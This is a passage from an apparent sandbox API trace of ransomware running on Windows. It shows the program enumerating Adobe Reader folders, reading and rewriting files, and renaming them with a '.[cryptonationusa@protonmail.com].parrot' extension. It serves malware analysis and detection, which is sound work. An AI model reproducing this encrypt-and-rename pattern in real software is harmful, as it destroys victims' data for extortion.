nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0247.520] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0247.520] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0247.520] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a04a60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49db0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeID.pdf", cAlternateFileName="")) returned 1 [0247.521] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0247.521] ReadFile (in: hFile=0x27c, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0247.522] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0247.522] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x49db0, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x49db0, lpOverlapped=0x0) returned 1 [0247.537] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0247.551] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\tur\\adobeid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\AdobeID.pdf.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\tur\\adobeid.pdf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0247.559] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0247.559] ReadFile (in: hFile=0x27c, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0247.560] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0247.561] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x48d8f, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x48d8f, lpOverlapped=0x0) returned 1 [0247.580] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0247.594] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\tur\\defaultid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\DefaultID.pdf.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\tur\\defaultid.pdf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0247.647] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\TUR\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0247.648] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0247.648] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0247.648] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80861b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x809de900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x809de900, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0247.648] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0247.648] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0247.648] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80861b40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x197f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeID.pdf", cAlternateFileName="")) returned 1 [0247.649] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0247.649] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0247.650] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0247.650] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x197f2, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x197f2, lpOverlapped=0x0) returned 1 [0247.655] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0247.658] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ukr\\adobeid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\AdobeID.pdf.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ukr\\adobeid.pdf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0247.666] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0247.666] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0247.667] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0247.668] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x48d20, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x48d20, lpOverlapped=0x0) returned 1 [0247.698] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0247.711] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ukr\\defaultid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\DefaultID.pdf.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ukr\\defaultid.pdf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0247.718] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\UKR\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0247.719] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0247.719] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0247.719] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0247.719] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ffe6ce0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ffe6ce0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ffe6ce0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0247.719] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0247.719] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0247.719] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x121ba8, dwReserved0=0x0, dwReserved1=0x0, cFileName="JSByteCodeWin.bin", cAlternateFileName="JSBYTE~1.BIN")) returned 1 [0247.720] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0247.720] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0247.721] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0247.722] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x100000, lpOverlapped=0x0) returned 1 [0247.755] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0247.755] WriteFile (in: hFile=0x288, lpBuffer=0x31f64d0*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x31f64d0*, lpNumberOfBytesWritten=0x18ebe4*=0x118, lpOverlapped=0x0) returned 1 [0247.758] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0247.758] WriteFile (in: hFile=0x288, lpBuffer=0x2e80040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2e80040*, lpNumberOfBytesWritten=0x18ebe4*=0x100000, lpOverlapped=0x0) returned 1 [0247.761] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x121cc0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0247.761] CloseHandle (hObject=0x288) returned 1 [0247.761] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x3275a58 [0247.761] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf0) returned 0x32d8f10 [0247.762] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\JSByteCodeWin.bin" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\javascripts\\jsbytecodewin.bin"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\JSByteCodeWin.bin.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\javascripts\\jsbytecodewin.bin.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0247.773] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Javascripts\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0247.773] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0247.829] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0247.829] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a50d20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81efec40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0247.829] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0247.830] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0247.830] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81efec40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81efec40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAT", cAlternateFileName="")) returned 1 [0247.830] lstrcmpW (lpString1="CAT", lpString2=".") returned 1 [0247.830] lstrcmpW (lpString1="CAT", lpString2="..") returned 1 [0247.830] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5d9768 [0247.830] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa6) returned 0x606108 [0247.830] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0247.841] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0247.841] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81efec40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81efec40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0247.842] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0247.842] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0247.842] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49c, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0247.842] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d5d8 [0247.842] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0247.842] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0247.844] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0247.844] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x49c, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x49c, lpOverlapped=0x0) returned 1 [0247.845] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0247.845] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0247.845] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0247.845] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0247.845] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT\\eula.ini" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\cat\\eula.ini"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT\\eula.ini.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\cat\\eula.ini.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0247.851] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0247.851] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0247.853] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0247.853] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xd11a, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0xd11a, lpOverlapped=0x0) returned 1 [0247.854] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0247.856] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0247.856] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0247.856] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0247.857] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\cat\\license.html"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT\\license.html.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\cat\\license.html.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0247.862] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0247.862] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0247.866] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0247.866] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81df42a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81df42a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81df42a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0247.866] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0247.866] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0247.866] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81df42a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0247.866] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d5d8 [0247.867] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0247.867] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0247.868] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0247.868] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1d8, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x1d8, lpOverlapped=0x0) returned 1 [0247.868] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0247.869] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0247.869] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0247.869] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0247.869] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\eula.ini" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\chs\\eula.ini"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\eula.ini.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\chs\\eula.ini.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0247.875] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0247.875] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0247.947] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0247.948] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x12dac, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x12dac, lpOverlapped=0x0) returned 1 [0247.951] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0247.953] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0247.953] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0247.953] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0247.955] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 